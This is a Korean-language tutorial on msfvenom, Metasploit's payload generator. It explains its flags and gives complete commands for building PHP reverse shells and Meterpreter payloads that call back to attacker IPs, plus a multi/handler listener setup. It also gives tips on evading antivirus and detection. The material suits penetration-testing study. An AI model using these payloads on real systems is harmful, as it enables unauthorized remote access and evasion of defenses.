짧게: msfvenom은 Metasploit Framework (MSF, Metasploit Framework) 의 독립형 페이로드 생성기(payload generator) 입니다. msfconsole(Metasploit 콘솔)과는 별개의 실행파일로, 페이로드(도구)가 포함된 바이너리, 스크립트, 셸코드(shellcode)를 만들거나 인코딩(encoding) / 인젝션(injection)을 수행합니다.
(아래 첫 등장 시 괄호 안에 풀네임을 적었습니다.)
-p : payload (페이로드) 지정. 예: -p php/reverse_php-f : format (출력 형식). 예: exe, elf, raw, php, python 등.-o : 출력 파일명(output file).-e : encoder (인코더) 지정 — 단순 인코딩으로 AV(안티바이러스, Antivirus) 회피 시도.-b : badchars (제외할 바이트) 지정 — 예: null 바이트 \x00 등.--list payloads : 사용 가능한 페이로드 목록 출력.--list formats : 사용 가능한 포맷 목록 출력.--platform : 대상 플랫폼(예: php, windows, linux, android) 지정.--arch : 아키텍처 지정(architecture) — 예: x86, x64, armle 등.-s : size (셸코드 크기) 조정(일부 페이로드에서 사용).예) 페이로드 목록에서 Meterpreter 검색:
msfvenom --list payloads | grep meterpreter
(참고: --list payloads / --list payload 오타에 따라 결과가 다를 수 있으니 정확히 사용.)
msfvenom -p php/meterpreter/reverse_tcp LHOST=10.10.186.44 -f raw -e php/base64
LHOST (Local Host, 리스닝할 주소) = 공격자(리스너)의 IP.
reverse_tcp는 대상(타깃)에서 공격자에게 연결을 역전(reverse)시키는 방식입니다.
간단한 PHP 리버스 쉘 파일 생성:
msfvenom -p php/reverse_php LHOST=10.0.2.19 LPORT=7777 -f raw > reverse_shell.php
LPORT (Local Port, 리스닝할 포트) = 공격자가 열 포트.msfconsole에서msfconsole(Metasploit 콘솔)을 열어 아래처럼 설정합니다:
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set payload php/reverse_php
msf6 exploit(multi/handler) > set LHOST 10.0.2.19
msf6 exploit(multi/handler) > set LPORT 7777
msf6 exploit(multi/handler) > show options
msf6 exploit(multi/handler) > exploit
또는 run 명령으로도 실행 가능합니다.
-e)이나 패킹, 커스텀 템플릿이 어느 정도 도움이 될 수 있으나 완전한 회피 보장은 없습니다.-f raw는 원시 셸코드, -f exe는 실행파일, -f elf는 리눅스 바이너리 등입니다.-b '\x00\x0a\x0d' 같이 null(널) 바이트 및 줄바꿈을 제외해야 할 때 지정.--platform과 --arch를 명시적으로 지정하면 생성물이 보다 정확합니다.reverse_https)가 더 안정적이고 덜 의심을 받습니다.--list payload vs --list payloads 오타(정확한 명령어 사용 필요).생성:
msfvenom -p php/reverse_php LHOST=10.0.2.19 LPORT=7777 -f raw > reverse_shell.php
리스너:
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set payload php/reverse_php
msf6 exploit(multi/handler) > set LHOST 10.0.2.19
msf6 exploit(multi/handler) > set LPORT 7777
msf6 exploit(multi/handler) > exploit
무단으로 타인의 시스템을 공격하거나 접근하는 것은 범죄입니다. 항상 대상의 명시적 허가를 받고, 합법적·윤리적 범위 내에서만 사용하세요.